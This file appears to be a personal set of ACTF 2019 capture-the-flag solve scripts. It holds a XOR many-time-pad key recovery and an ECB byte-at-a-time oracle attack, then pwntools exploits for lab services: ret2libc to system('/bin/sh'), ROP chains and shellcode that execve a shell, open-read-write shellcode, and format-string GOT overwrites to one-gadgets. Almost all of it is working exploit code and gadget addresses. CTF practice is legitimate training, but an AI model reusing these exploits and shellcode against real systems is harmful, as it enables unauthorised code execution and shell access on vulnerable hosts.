ACTF 2019

cs=['167c7f4fff941dea1b0b97f49e6d51fea7878c281f8d981e4fb358051eefac10c140327c77ad640bed157fa1c93717485d777d916be782732095fee4c21ca0ea56f248a5b8a0398950f38117877c1ac8b17f758af1e0f08e26b5e86d28137b'.decode('hex'),
'177d3349e5cb49a70e4292f0d37c1eb7bdc9b71e26aedd5d1bb35f0408efba55c04c30747cf93e4497507cb09b251d514a6b7d946ba18f6e2299b0fa8d1defa256f70dc9b0ee6cd107f59c538b605cdbbc3c21d9c2cfdc8044f2a8367e1d3a'.decode('hex'),
'11777f48e5950cea1804dce2cb7a56feb8889f3808c79b1249fe4b060daaed51df0f0b717cf91842dd156af5bd21586a406036c32eee95210693b0c6830ba7ea63e90dc986a6239d15baa0529d6756daf073678adec7d68e26bde47725413a'.decode('hex'),
'7f387f05aab001ab03428bf49e694cb1ad85992400c7dd5d52e01e3e04aaed62c548376d398d250bed1872b9c40c1d5441757dc359e48b6d7fbef5ea8c0fefac58f348a8bda26dd15dbaa65f8b3279c1be6d74cfc5da85c10cfcc46a355270'.decode('hex'),
'1b777f5ce59249ab1b0edce5d67050b5ee9d902c19c7891552e01e0904aea35ec9437f7178aa6a49df1870f58b3c1d5c4c7a388731a1a9603adcfff69048a3af5be0068df1bb229806ba914597624ec1f07b74d396c7d68e1eb3f6383f5534'.decode('hex'),
'16767f51e28e1aea1a0d98f49e394ab6abc991230493941c57b3480f0fbba2428c66093970aa6a59df0d7bb49d2b1c515632388d6df39e712699f4a39607efa555f50980bfee2dd103ff861781741ad8b17074cfc58effc74abdf538365c78'.decode('hex'),
'16757f56e5951bb3572f9de3d77612feac9c8c6d2ea8b32974c0714a3c9d847eef6a0c4a39b0390bd3133eb4c92a115b49772f8660f5c7673d8ef5f09649efe717d21f80b7ba039f23ff91429c7b4ed7f04860d3969c959f5ff1b62b7d012d'.decode('hex'),
'1e6c7f4ae48249ba180b92e59e501ea9af9ad82908859c0952fd594a1ba7a844c44a2d3976ab6a45d5093ea1866e19594b32298b6ba1b24210b1d6c8ae3cefa958f11199b0bd389050f59c17867748cbf07e74de96e785c60baae338245c7b'.decode('hex'),
'326d3c4daa940ca611428ef4cd695bbdbac7d8000c8c94135cb34c0b02aba25d8c43306b7cb46a42ca0e6bb8c9270b1d4e7129966fed8b78729db0ef8d1cefa256f30c8ca3ee389911f4d25880771ad9bf696dce96dacdc704b7a66c325b34'.decode('hex'),
'1e5b0b63a49006a7120c9af4d06a56b1bb8b99611a888f1c55f4590f05a4a442cd01'.decode('hex')]

dict='abcdefghijklmnopqrstuvwxyz'
dict+='ABCDEFGHIJKLMNOPQRSTUVWXYZ'
dict+='0123456789'
dict+='!?-., '


for keylenth in range(95,96):
    k=[]
    passw=[]
    for jjj in range(100):
        k+=[{}]
        passw+=[[]]
    flag=1
    for i in range(10):
        for j in range(len(cs[i])):
            k[j%keylenth][cs[i][j]]=1
    for i in range(keylenth):
        flag1=0
        for j in range(0x100):
            flag2=1
            for l in k[i]:
                if not(chr(ord(l)^j) in dict):
                    flag2=0
                    break
            if(flag2):
                flag1=1
                passw[i]+=[j]
        if not(flag1):
            flag=0
            break
    if flag:
        print keylenth
        print passw

for i in range(95):
    print i,passw[i]

def check():
    for i in range(95):
        if len(passw[i])==1:
            continue
        print i,passw[i]


def show(input1,input2):
    for i in range(10):
        ps=''
        for j in range(len(cs[i])):
            if j==input1:
                ps+=chr(passw[input1][input2]^ord(cs[i][j]))
            else:
                if(len(passw[j])==1):
                    ps+=chr(passw[j][0]^ord(cs[i][j]))
                else:
                    ps+='?'
        print ps

            k[j%95][cs[i][j]]=1

def dp(input1,input2):
    passw[input1]=passw[input1][input2:input2+1]


'''
Id just like to interject for a moment. What youre referring to as Linux is in fact GNU Linux o
Hello, my name is OSKI    and welcome to--berkeley we hope you have a   wonderful  stay........
No more of such vague formulae as The Right To Work  or To Each The Whole Result of his Labour.
     What we proclaim   is The Right To Well-Being  Well-Being for All! - The Conquest of Bread
Do you all think that this channel has been breached? Nah our leland univ crypto guy is top of
In this mode  the initial vector IV is repeatedly encrypted to obtain a set of values Zi as fol
Im sorry Mario, but CONTOSO PRINCESS is in a different forest! - SwiftOnSecurity Tay 2015-03-29
At one point I was debating whether or not to add the UCBMFKLT copypasta on here but I have too
much self respect. Making random lorem ipsum is actually a lot harder than one would think tbh
ACTF.womenfenshouba,woranggeikira.
'''

from pwn import *
import os
auth='<deleted>'
sh=remote("10.214.24.188",13370)
sh.sendline(auth)
sh.recvrepeat(timeout = 1)
#sh=process('./challenge1.py')
sh.recvrepeat(timeout = 1)
sec=''
a='Your name:'
c='Your secret:'
def enc(str):
    pad=(16-len(a))*'a'+str
    sh.sendline('Get secret'.encode('hex'))
    sh.recvuntil("Your name: ")
    sh.sendline(pad.encode('hex'))
    tret=sh.recv()
    tret=tret[:len(tret)].decode('hex')
    #tret[16:16*2].encode('hex')
    return tret[16:16*2]

for i in range(1,20):
    b=(48-len(a+c)-i)*'0'
    sh.sendline('Get secret'.encode('hex'))
    sh.recvuntil("Your name: ")
    sh.sendline(b.encode('hex'))
    ret=sh.recv()
    ret=ret[:len(ret)].decode('hex')
    print ret[16*2:16*3].encode('hex')
    for j in range(0,256):
        if enc((a+b+c+sec+chr(j))[16*2:16*3])==ret[16*2:16*3]:
            sec+=chr(j)
            break

print sec

sh.sendline('Get flag'.encode('hex'))
sh.sendline(sec.encode('hex'))
sh.interactive()

'''
.got.plt:0804A01C off_804A01C     dd offset puts //134520860


.text:0005F140                 public puts ; weak

.text:0003A940                 public system ; weak

0015902B			'/bin/sh'
'''

auth='<deleted>'
sh=remote("10.214.10.18",11523)
sh.recvrepeat(timeout = 1)
sh.sendline(auth)
sh.recvrepeat(timeout = 1)
sh.sendline('134520860')
sh.recvrepeat(timeout = 1)


puts=0xf7e52140 #from remote

binsh_addr = puts-0x0005F140+0x0015902B
system_plt = puts-0x0005F140+0x0003A940

payload = flat(['a' * 0x3c, system_plt, 'b' * 4, binsh_addr])
sh.sendline(payload)
sh.interactive()

'''
0x0015902b /bin/sh
0x0003A940

.bss:0804A060 pop     eax
.bss:0804A061 retn
.bss:0804A062 ; ---------------------------------------------------------------------------
.bss:0804A062 pop     edx
.bss:0804A063 pop     ecx
.bss:0804A064 pop     ebx
.bss:0804A065 retn
.bss:0804A066 ; ---------------------------------------------------------------------------
.bss:0804A066 int     80h                             ; LINUX -
.bss:0804A066 ; ---------------------------------------------------------------------------
.bss:0804A068 db    0

.bss:0804A060 name [50]

/bin/sh		// 0x0804A060

\x58		// pop eax  0x0804A068
\xc3		// ret


\x5a		// pop edx  0x0804A06A
\x59		// pop ecx  
\x5b		// pop ebx  
\xc3		// ret

\xcd\x80	// int 80h  0x0804A06E


----------------------------------------------------------
'''
from pwn import *
name='/bin/sh\0\x58\xc3\x5a\x59\x5b\xc3\xcd\x80'+'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0'
auth='<deleted>'


sh=remote("10.214.10.18",11782)

sh.recvrepeat(timeout = 1)
sh.sendline(auth)

sh.recvrepeat(timeout = 1)
sh.sendline(name)
sh.recvrepeat(timeout = 1)

pop_eax_ret = 0x0804A068
pop_edx_ecx_ebx_ret = 0x0804A06A
int_0x80 = 0x0804A06E
binsh = 0x0804A060

payload = flat(['A' * (0x4+0x14+8), pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])

sh.sendline(payload)

sh.interactive()

from pwn import *
from struct import pack
auth='<deleted>'
main_addr=0x08048E24

sh=remote("10.214.10.18",11863)
sh.recvrepeat(timeout = 1)
sh.sendline(auth)


#sh=process('./baby_rop')
sh.recvrepeat(timeout = 1)


p = ''
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08054250) # xor eax, eax ; ret
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += p32(main_addr)
payload="A"*32+p
sh.sendline(payload)
sh.recvrepeat(timeout = 1)

p = ''
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x0806e851) # pop ecx ; pop ebx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080ea060) # padding without overwrite ebx
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0808f720) # mov eax, 7 ; ret
p += pack('<I', 0x0808F6A0) # add eax, 3 ; ret
p += pack('<I', 0x0807b27f) # inc eax ; ret
p += pack('<I', 0x080493e1) # int 0x80
payload="A"*28+p
sh.sendline(payload)
sh.recvrepeat(timeout = 1)

sh.interactive()

from pwn import *
auth='<deleted>'

#('SuperLo0000000000000ngFlagggggggggggggggggggggggName.txt'[::-1]).encode('hex')


shellcode = "xor ecx,ecx;push ecx;"
shellcode = shellcode + "push 0x7478742e;push 0x656d614e;push 0x67676767;push 0x67676767;push 0x67676767;push 0x67676767;push 0x67676767;push 0x67676761;push 0x6c46676e;push 0x30303030;push 0x30303030;push 0x30303030;push 0x306f4c72;push 0x65707553;;"
shellcode = shellcode + "mov ebx,esp;xor edx,edx;mov eax,0x5;int 0x80;mov ebx,eax;mov ecx,esp;mov edx,0x30;mov eax,0x3;int 0x80;mov eax,0x4;mov ebx,0x1;mov edx,0x30;int 0x80"

payload = asm(shellcode)


sh=remote("10.214.10.18",13647)

sh.recvrepeat(timeout = 1)
sh.sendline(auth)

#sh=process('./orw')
sh.recvrepeat(timeout = 1)

sh.sendline(payload)

sh.interactive()

from pwn import *
fsb=ELF('./fsb_inf')

auth='<deleted>'


#sleep(5)
sh=remote("10.214.10.18",17526)
sh.sendline(auth)

#sh=process('./fsb_inf')
sh.recvrepeat(timeout = 1)

puts_got = fsb.got['puts']
printf_got = fsb.got['printf']
ext_got = fsb.got['exit']

p1='AAAA%7$s'+p64(puts_got)
sh.sendline(p1)
ret1=sh.recv(timeout = 1)
ret1=ret1[4:ret1.find('\n')-3]
puts_addr=u64(ret1+'\0'*(8-len(ret1)))
print puts_addr

puts_offset = 0x06f690 #https://libc.blukat.me/?q=puts%3A690&l=libc6_2.23-0ubuntu10_amd64
gadget_offset = 0x45216

#puts_offset = 0x071910
#gadget_offset = 0x4484f

gadget_addr = puts_addr - puts_offset + gadget_offset

psize=gadget_addr&0xffffff

for i in range(8):
    payload =''
    if(ord(p64(gadget_addr)[i])!=0):
        payload ='%'+str(ord(p64(gadget_addr)[i]))+'c'
    payload +='%9$hhn'
    payload +='A'*(24-len(payload))
    payload += p64(ext_got+i)
    print(payload)
    sh.sendline(payload)


payload ='%999999c%999999c%999999c%999999c%196084c'
payload +='%13$lln'
payload +='A'*(7*8-len(payload))
payload += p64(printf_got)
print(payload)
sh.sendline(payload)

sh.sendline('\x00')

sh.interactive()

from pwn import *
fsb=ELF('./fsb_one')

auth='<deleted>'


#sleep(5)
#sh=remote("10.214.10.18",18422)
#sh.sendline(auth)

sh=process('./fsb_one')
sh.recvrepeat(timeout = 1)

puts_got = fsb.got['puts']
printf_got = fsb.got['printf']
setvbuf_got = fsb.got['setvbuf']
ext_got = fsb.got['exit']

payload ='%999999c%999999c%999999c%999999c%196748‬c'
payload +='%13$lln'
payload +='A'*(7*8-len(payload))
payload += p64(puts_got)
print(payload)
sh.sendline(payload)


p1='AAAA%7$s'+p64(setvbuf_got)
sh.sendline(p1)
ret1=sh.recv(timeout = 1)
ret1=ret1[4:ret1.find('\n')-3]
setvbuf_addr=u64(ret1+'\0'*(8-len(ret1)))
print setvbuf_addr

#puts_offset = 0x06f690 #https://libc.blukat.me/?q=puts%3A690&l=libc6_2.23-0ubuntu10_amd64
#gadget_offset = 0x45216
#setvbuf_offset = 0x6fe70

puts_offset = 0x071910
gadget_offset = 0x4484f
setvbuf_offset = 0x71F90

gadget_addr = setvbuf_addr - setvbuf_offset + gadget_offset

for i in range(8):
    payload =''
    if(ord(p64(gadget_addr)[i])!=0):
        payload ='%'+str(ord(p64(gadget_addr)[i]))+'c'
    payload +='%9$hhn'
    payload +='A'*(24-len(payload))
    payload += p64(ext_got+i)
    print(payload)
    sh.sendline(payload)

payload ='%999999c%999999c%999999c%999999c%196084c'
payload +='%13$lln'
payload +='A'*(7*8-len(payload))
payload += p64(printf_got)
print(payload)
sh.sendline(payload)

sh.sendline('\x00')

sh.interactive()



##################################################################

#0x0000000000400605 : jmp rsp
from pwn import *
auth='<deleted>'
sh=remote("10.214.10.18",10085)
sh.recvrepeat(timeout = 1)
sh.sendline(auth)
#sh=process('./warmup')
sh.recvrepeat(timeout = 1)
jmp_rsp=0x00400605
shellcode='\x50\x48\x31\xD2\x48\x31\xF6\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xB0\x3B\x0F\x05'
payload = flat([shellcode,'A' * (0x8+0x50-len(shellcode)), jmp_rsp,0x0])
payload = payload+'\x48\x83\xEC\x60\xFF\xE4'
sh.sendline(payload)
sh.recvrepeat(timeout = 1)
sh.interactive()